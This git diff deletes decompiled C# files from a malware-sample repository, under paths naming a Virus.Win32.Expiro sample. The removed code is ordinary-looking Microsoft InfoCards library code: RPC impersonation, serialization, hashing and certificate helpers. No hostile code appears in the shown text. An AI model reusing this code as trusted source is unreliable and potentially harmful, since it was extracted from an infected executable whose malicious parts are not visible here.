row.GlobalId = GlobalId.DeriveFrom("urn:microsoft.com:infocards:user_prefs"); - } - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.AppendFormat("Background Color:\t{0}\n", (object) this.m_ATApplicationsFlags.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - stringBuilder.AppendFormat("List expansion flag:\t{0}\n", (object) this.m_showClaimsFlag.ToString()); - return stringBuilder.ToString(); - } - - public static UserPreference Get(StoreConnection con) - { - DataRow singleRow = con.GetSingleRow(new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) -2 - }) - }.ToArray()); - return singleRow != null ? new UserPreference((Stream) new MemoryStream(singleRow.GetDataField())) : (UserPreference) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Utility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Utility.cs deleted file mode 100644 index 5d43d6c5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Utility.cs +++ /dev/null @@ -1,450 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Utility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.ComponentModel; -using System.Diagnostics; -using System.IdentityModel.Tokens; -using System.IO; -using System.Net; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Security.Principal; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; -using System.Text; -using System.Threading; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal static class Utility - { - public static WindowsIdentity GetWindowsIdentity(IntPtr rpcBindingHandle) - { - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == rpcBindingHandle, nameof (rpcBindingHandle)); - uint error = NativeMethods.RpcImpersonateClient(rpcBindingHandle); - if (error != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidCallerToken"), (Exception) new Win32Exception((int) error))); - try - { - return WindowsIdentity.GetCurrent(true); - } - finally - { - InfoCardTrace.Assert(0U == NativeMethods.RpcRevertToSelfEx(rpcBindingHandle), "rpcIdentity"); - } - } - - public static uint GetRpcClientPid(IntPtr rpcBindingHandle) - { - uint pid; - uint error = NativeMethods.I_RpcBindingInqLocalClientPID(rpcBindingHandle, out pid); - if (error != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception((int) error)); - return pid; - } - - public static void ClearUnsafeMemory(IntPtr ptr, int count) => NativeMethods.ZeroMemory(ptr, count); - - public static void ThrowIfProcessExited(SafeWaitHandle processHandle) - { - using (AutoResetEvent autoResetEvent = new AutoResetEvent(false)) - { - autoResetEvent.SafeWaitHandle = processHandle; - if (autoResetEvent.WaitOne(0, false)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("ServiceProcessHasExited"))); - } - } - - public static void SerializeString(BinaryWriter writer, string str) - { - int num = 0; - if (string.IsNullOrEmpty(str)) - { - writer.Write(num); - } - else - { - writer.Write(str.Length); - writer.Write(str.ToCharArray()); - } - } - - public static void SerializeUri(BinaryWriter writer, Uri uri) - { - if ((Uri) null == uri) - Utility.SerializeString(writer, (string) null); - else - Utility.SerializeString(writer, uri.ToString()); - } - - public static void SerializeBytes(BinaryWriter writer, byte[] bytes) - { - int count = 0; - if (bytes != null) - count = bytes.Length; - Utility.SerializeBytes(writer, bytes, 0, count); - } - - public static void SerializeBytes( - BinaryWriter writer, - byte[] bytes, - int startOffset, - int count) - { - int num = 0; - if (bytes == null) - { - writer.Write(num); - } - else - { - writer.Write(count); - writer.Write(bytes, startOffset, count); - } - } - - public static string DeserializeString(BinaryReader reader) => new string(reader.ReadChars(reader.ReadInt32())); - - public static Uri DeserializeUri(BinaryReader reader) => new Uri(Utility.DeserializeString(reader)); - - public static bool CompareUri(string first, string second) - { - try - { - return Utility.CompareUri(new Uri(first), new Uri(second)); - } - catch (UriFormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidUriFormat"), (Exception) ex)); - } - } - - public static bool CompareUri(Uri first, Uri second) => first == second; - - public static bool ArrayIsNullOrEmpty(Array inArray) => inArray == null || inArray.Length == 0; - - public static SafeWaitHandle GetLocalHandleFromRemoteHandle( - SafeWaitHandle hRemote, - int remotePid) - { - SafeWaitHandle targetHandle; - using (new SystemIdentity(false)) - { - using (SafeNativeHandle sourceProcessHandle = NativeMethods.OpenProcess(64, false, remotePid)) - { - if (sourceProcessHandle == null || sourceProcessHandle.IsInvalid) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error())); - if (!NativeMethods.DuplicateHandle(sourceProcessHandle, hRemote, new SafeNativeHandle(NativeMethods.GetCurrentProcess(), false), out targetHandle, 2, false, 0)) - { - int lastWin32Error = Marshal.GetLastWin32Error(); - InfoCardTrace.CloseInvalidOutSafeHandle((SafeHandle) targetHandle); - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(lastWin32Error)); - } - } - } - return targetHandle; - } - - public static SafeWaitHandle GetRemoteHandleFromLocalHandle( - SafeWaitHandle hLocal, - Process remoteProcess) - { - SafeWaitHandle targetHandle = (SafeWaitHandle) null; - using (new SystemIdentity(false)) - { - try - { - if (!NativeMethods.DuplicateHandle(new SafeNativeHandle(NativeMethods.GetCurrentProcess(), false), hLocal, new SafeNativeHandle(remoteProcess.Handle, false), out targetHandle, 1048578, false, 0)) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error())); - bool success = false; - targetHandle.DangerousAddRef(ref success); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - } - return targetHandle; - } - - public static SafeJobHandle CreateJobObjectWithSdHelper(string trustedUserSid) - { - SafeJobHandle objectWithSdHelper = new SafeJobHandle(); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - IntPtr zero = IntPtr.Zero; - uint jobObjectWithSd = NativeMcppMethods.CreateJobObjectWithSD(ref zero, trustedUserSid); - if (jobObjectWithSd != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception((int) jobObjectWithSd)); - objectWithSdHelper.UpdateHandle(zero); - } - return objectWithSdHelper; - } - - public static IntPtr ReadHandle(BinaryReader br) - { - IntPtr zero = IntPtr.Zero; - return 4 != IntPtr.Size ? (IntPtr) br.ReadInt64() : (IntPtr) br.ReadInt32(); - } - - public static byte[] CreateHash(byte[] firstArray, Uri cardId) - { - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - { - byte[] hash = shA256.ComputeHash(Encoding.Unicode.GetBytes(cardId.ToString())); - byte[] numArray = new byte[firstArray.Length + hash.Length]; - Array.Copy((Array) firstArray, 0, (Array) numArray, 0, firstArray.Length); - Array.Copy((Array) hash, 0, (Array) numArray, firstArray.Length, hash.Length); - return shA256.ComputeHash(numArray); - } - } - - public static byte[] CreateHash(byte[] firstArray, byte[] secondArray, byte[] thirdArray) - { - byte[] numArray = new byte[firstArray.Length + secondArray.Length + thirdArray.Length]; - Array.Copy((Array) firstArray, 0, (Array) numArray, 0, firstArray.Length); - Array.Copy((Array) secondArray, 0, (Array) numArray, firstArray.Length, secondArray.Length); - Array.Copy((Array) thirdArray, 0, (Array) numArray, firstArray.Length + secondArray.Length, thirdArray.Length); - using (SHA256 shA256 = SHA256.Create()) - return shA256.ComputeHash(numArray); - } - - public static bool CompareByteArrays(byte[] arr1, byte[] arr2) - { - bool flag = true; - if (arr1 == null && arr2 == null) - return true; - if (arr1 == null || arr2 == null || arr1.Length != arr2.Length) - return false; - for (int index = 0; index < arr2.Length; ++index) - { - if ((int) arr1[index] != (int) arr2[index]) - { - flag = false; - break; - } - } - return flag; - } - - public static string ResolvePPID( - string input, - byte[] issuerIdentiferAsBytes, - StoreConnection connection) - { - string empty = string.Empty; - byte[] arr2 = Convert.FromBase64String(input); - ICollection collection = (ICollection) connection.Query(QueryDetails.FullRow, new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - }), - new QueryParameter("ix_production_svc_uri", new object[1] - { - (object) "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self" - }) - }.ToArray()); - if (collection != null && collection.Count > 0) - { - foreach (DataRow dataRow in (IEnumerable) collection) - { - byte[] dataField = dataRow.GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - { - InfoCard infoCard = new InfoCard((Stream) memoryStream); - if (Utility.CompareByteArrays(Utility.CreateHash(issuerIdentiferAsBytes, infoCard.Id), arr2)) - { - empty = infoCard.Id.ToString(); - break; - } - } - } - finally - { - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - } - return empty; - } - - public static bool GetCertHAFlags( - X509Certificate2 certificate, - X509Certificate2Collection supportingCertificates, - ref Utility.SubjectAtrributeHAFlags certFlags) - { - int haFlags = 0; - X509Chain chain; - try - { - InfoCardX509Validator.ValidateChain(certificate, supportingCertificates, out chain); - } - catch (SecurityTokenValidationException ex) - { - InfoCardTrace.TraceAndLogException((Exception) ex); - return false; - } - InfoCardTrace.Assert(null != chain, "Should have been populated by ValidateChain"); - bool highAssuranceFlags = NativeMcppMethods.GetHighAssuranceFlags(chain.ChainContext, ref haFlags); - certFlags = (Utility.SubjectAtrributeHAFlags) haFlags; - return !highAssuranceFlags || Utility.IsSubjectAtrributeHAFlagsSet(certFlags, Utility.SubjectAtrributeHAFlags.Enabled) ? highAssuranceFlags : throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException(SR.GetString("InvalidHACertificateStructure"))); - } - - public static bool IsSubjectAtrributeHAFlagsSet( - Utility.SubjectAtrributeHAFlags currentValue, - Utility.SubjectAtrributeHAFlags testFlag) - { - return (testFlag & currentValue) == testFlag; - } - - public static int CalculateIncreaseByPercent( - int oldSize, - int alignToByteBoundary, - int percentIncrease) - { - uint uint32 = Convert.ToUInt32(alignToByteBoundary); - uint num = Convert.ToUInt32((1.0 + (double) percentIncrease / 100.0) * (double) oldSize); - if (num == 0U) - num = uint32; - else if (num % uint32 > 0U) - num += uint32 - num % uint32; - return Convert.ToInt32(num); - } - - public static string CreatePpid(byte[] certIdentifierAsBytes, Uri cardId) => Convert.ToBase64String(Utility.CreateHash(certIdentifierAsBytes, cardId)); - - public static EndpointAddress DeriveMexAddress(EndpointAddress epr) - { - EndpointAddress endpointAddress = (EndpointAddress) null; - try - { - if ((XmlReader) epr.GetReaderAtMetadata() != null) - { - foreach (MetadataSection metadataSection in MetadataSet.ReadFrom((XmlReader) epr.GetReaderAtMetadata()).MetadataSections) - { - if (metadataSection.Metadata is MetadataReference && (EndpointAddress) null != ((MetadataReference) metadataSection.Metadata).Address && string.Compare(((MetadataReference) metadataSection.Metadata).Address.Uri.Scheme, "https", StringComparison.OrdinalIgnoreCase) == 0) - { - endpointAddress = ((MetadataReference) metadataSection.Metadata).Address; - break; - } - } - } - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - return endpointAddress; - } - - public static XmlDictionaryReader CreateReaderWithQuotas(string root) - { - byte[] bytes = new UTF8Encoding().GetBytes(root); - return XmlDictionaryReader.CreateTextReader(bytes, 0, bytes.GetLength(0), (Encoding) null, InfoCardConstants.DefaultQuotas, (OnXmlDictionaryReaderClose) null); - } - - public static XmlDictionaryReader CreateReaderWithQuotas(Stream input) => XmlDictionaryReader.CreateTextReader(input, (Encoding) null, InfoCardConstants.DefaultQuotas, (OnXmlDictionaryReaderClose) null); - - public static MemoryStream ReadByteStreamFromBase64(XmlReader reader) - { - MemoryStream memoryStream = new MemoryStream(); - if (!reader.IsEmptyElement && reader.Read() && reader.NodeType != XmlNodeType.EndElement) - { - byte[] buffer = new byte[1024]; - int count; - while ((count = reader.ReadContentAsBase64(buffer, 0, buffer.Length)) > 0) - memoryStream.Write(buffer, 0, count); - memoryStream.Flush(); - memoryStream.Seek(0L, SeekOrigin.Begin); - } - return memoryStream; - } - - public static BindingElementCollection UpdateProxyForHttpAndRestrictTransportBinding( - BindingElementCollection source, - IWebProxy proxy, - bool turnOffClientAuthOnTransport) - { - InfoCardTrace.Assert(null != source, "Do not expect a null bindingElementCollection"); - if (source.Find() == null) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException()); - BindingElementCollection elementCollection = HttpProxyTransportBindingElement.ReplaceHttpTransportWithProxy(source, proxy, turnOffClientAuthOnTransport); - TransportBindingElement transportBindingElement = elementCollection.Find(); - InfoCardTrace.Assert(null != transportBindingElement, "We ensured there is a TransportBindingElement at the start of this function"); - transportBindingElement.MaxReceivedMessageSize = (long) InfoCardConstants.MaximumMessageSize; - switch (transportBindingElement) - { - case TcpTransportBindingElement _: - case HttpProxyTransportBindingElement _: - if (turnOffClientAuthOnTransport) - { - Collection all = elementCollection.FindAll(); - InfoCardTrace.Assert(all != null && 1 >= all.Count, "Should not be null (even if empty) and there should be at most one StreamUpgradeBindingElement"); - foreach (StreamUpgradeBindingElement upgradeBindingElement in all) - { - if (!(upgradeBindingElement is SslStreamSecurityBindingElement)) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException()); - } - } - return elementCollection; - default: - InfoCardTrace.Assert(null == transportBindingElement as HttpTransportBindingElement, "Http(s)TransportBindingElement should have been replaced by HttpProxyTransportBindingElement above"); - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException()); - } - } - - public static bool KillHelper(Process p) - { - bool flag = false; - if (!p.HasExited) - { - try - { - p.Kill(); - flag = true; - } - catch (InvalidOperationException ex) - { - } - catch (Win32Exception ex) - { - if (5 != ex.NativeErrorCode) - throw ex; - } - } - return flag; - } - - [System.Flags] - public enum SubjectAtrributeHAFlags - { - NotEnabled = 0, - Enabled = 1, - OrganizationHA = 2, - LocStateCountryHA = 4, - LogoHA = 8, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/VerifyHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/VerifyHashRequest.cs deleted file mode 100644 index c72f1f03..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/VerifyHashRequest.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.VerifyHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class VerifyHashRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_hash; - private string m_hashAlgorithmOid; - private byte[] m_signature; - private bool m_verified; - - public VerifyHashRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_cryptoSession = 0; - this.m_hash = (byte[]) null; - this.m_hashAlgorithmOid = (string) null; - this.m_signature = (byte[]) null; - this.m_verified = false; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_cryptoSession = reader.ReadInt32(); - int count1 = reader.ReadInt32(); - this.m_hash = reader.ReadBytes(count1); - int count2 = reader.ReadInt32(); - this.m_signature = reader.ReadBytes(count2); - this.m_hashAlgorithmOid = Utility.DeserializeString(reader); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_hash == null || 0 == this.m_hash.Length, "hash"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_signature == null || 0 == this.m_signature.Length, "signature"); - InfoCardTrace.ThrowInvalidArgumentConditional(null == this.m_hashAlgorithmOid, "hashAlgorithmOid"); - } - - protected override void OnProcess() => this.m_verified = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).VerifyHash(this.m_hash, this.m_hashAlgorithmOid, this.m_signature); - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.m_verified); - binaryWriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/WSIdentityFaultException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/WSIdentityFaultException.cs deleted file mode 100644 index 37e3634d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/WSIdentityFaultException.cs +++ /dev/null @@ -1,98 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.WSIdentityFaultException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.Runtime.Serialization; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class WSIdentityFaultException : InfoCardBaseException - { - private const int HRESULT = -1073413871; - - public static void ThrowIfFaultMessage(Message message, CultureInfo displayCulture) - { - if (message.IsFault) - { - MessageFault fault1 = MessageFault.CreateFault(message, 2000000); - FaultException fault2 = FaultException.CreateFault(fault1); - string message1 = fault2.Message; - string extendedMessage = string.Empty; - if (fault1.Reason != null) - { - FaultReasonText matchingTranslation = fault1.Reason.GetMatchingTranslation(displayCulture); - if (matchingTranslation != null) - extendedMessage = matchingTranslation.Text; - } - if (fault1.HasDetail) - { - using (XmlReader atDetailContents = (XmlReader) fault1.GetReaderAtDetailContents()) - { - if (atDetailContents.Read()) - message1 = string.Format((IFormatProvider) CultureInfo.CurrentUICulture, SR.GetString("FaultMessageFormat"), new object[2] - { - (object) fault2.Message, - (object) atDetailContents.ReadOuterXml() - }); - } - } - throw InfoCardTrace.ThrowHelperErrorWithNoLogging((Exception) new WSIdentityFaultException(message1, extendedMessage, (Exception) fault2)); - } - } - - public WSIdentityFaultException() - : base(-1073413871) - { - } - - public WSIdentityFaultException(string message) - : base(-1073413871, message) - { - } - - public WSIdentityFaultException(string message, string extendedMessage, Exception inner) - : base(-1073413871, message, extendedMessage) - { - if (!(inner is FaultException)) - return; - this.MapFaultException(inner as FaultException); - } - - protected WSIdentityFaultException(SerializationInfo si, StreamingContext sc) - : base(-1073413871, si, sc) - { - } - - private void MapFaultException(FaultException fe) - { - if (fe == null || fe.Code == null || fe.Code.SubCode == null || !(fe.Code.SubCode.Namespace == "http://schemas.xmlsoap.org/ws/2005/05/identity/fault")) - return; - switch (fe.Code.SubCode.Name) - { - case "InformationCardRefreshRequired": - this.HResult = -1073413760; - break; - case "MissingAppliesTo": - this.HResult = -1073413759; - break; - case "InvalidProofKey": - this.HResult = -1073413758; - break; - case "UnknownInformationCardReference": - this.HResult = -1073413757; - break; - case "FailedRequiredClaims": - this.HResult = -1073413756; - break; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509AudioLogo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509AudioLogo.cs deleted file mode 100644 index 4ed5efae..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509AudioLogo.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509AudioLogo -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Collections.Generic; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class X509AudioLogo : X509Logo - { - public X509AudioLogo( - X509LogoType logoType, - string mediaType, - Dictionary hashes, - List fileLocations) - : base(logoType, mediaType, hashes, fileLocations) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs deleted file mode 100644 index e4a2d443..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509CertificateTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class X509CertificateTokenFactoryCredential : TokenFactoryCredential - { - private X509Certificate2 m_cert; - private string m_contextKey; - private string m_portName; - private UIAgentRequest m_request; - private bool m_disposed; - private object m_sync = new object(); - - public X509CertificateTokenFactoryCredential(UIAgentRequest request) - : base(TokenFactoryCredentialType.X509CertificateCredential) - { - this.m_request = request; - } - - public string ContextKey => this.m_contextKey; - - public string PortName => this.m_portName; - - public X509Certificate2 Certificate => this.m_cert; - - protected override void DeserializeData(BinaryReader reader) - { - this.m_portName = Utility.DeserializeString(reader); - this.m_contextKey = Utility.DeserializeString(reader); - byte[] numArray = new byte[reader.ReadInt32()]; - reader.Read(numArray, 0, numArray.Length); - this.m_cert = new X509Certificate2(numArray); - this.m_cert.PrivateKey = (AsymmetricAlgorithm) new RemoteCryptoRsaServiceProvider(this, this.m_request); - } - - public override void Dispose(bool disposing) - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - try - { - if (disposing) - { - this.m_cert.PrivateKey.Clear(); - this.m_cert.PublicKey.Key.Clear(); - } - this.m_disposed = true; - } - finally - { - base.Dispose(disposing); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509ImageLogo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509ImageLogo.cs deleted file mode 100644 index 04bedd54..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509ImageLogo.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509ImageLogo -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Collections.Generic; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class X509ImageLogo : X509Logo - { - public X509ImageLogo( - X509LogoType logoType, - string mediaType, - Dictionary hashes, - List fileLocations) - : base(logoType, mediaType, hashes, fileLocations) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509Logo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509Logo.cs deleted file mode 100644 index 172bbcb5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509Logo.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509Logo -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Collections.Generic; -using System.IO; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal abstract class X509Logo - { - private X509LogoType m_logoType; - private string m_mediaType; - private Dictionary m_fileHashes; - private List m_fileLocations; - - public X509LogoType LogoType => this.m_logoType; - - public string MediaType => this.m_mediaType; - - public Dictionary Hashes => this.m_fileHashes; - - public List FileLocations => this.m_fileLocations; - - public X509Logo( - X509LogoType logoType, - string mediaType, - Dictionary hashes, - List fileLocations) - { - this.m_logoType = logoType; - this.m_mediaType = mediaType; - this.m_fileHashes = hashes; - this.m_fileLocations = fileLocations; - } - - public override string ToString() => base.ToString(); - - protected virtual void OnSerialize(BinaryWriter writer) - { - } - - public void Serialize(BinaryWriter writer) - { - writer.Write((byte) this.LogoType); - Utility.SerializeString(writer, this.MediaType); - writer.Write(this.Hashes.Count); - foreach (Oid key in this.Hashes.Keys) - { - Utility.SerializeString(writer, key.Value); - Utility.SerializeBytes(writer, this.m_fileHashes[key]); - } - writer.Write(this.FileLocations.Count); - foreach (string fileLocation in this.FileLocations) - Utility.SerializeString(writer, fileLocation); - this.OnSerialize(writer); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509LogoDataType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509LogoDataType.cs deleted file mode 100644 index 54f14701..00000000 --- 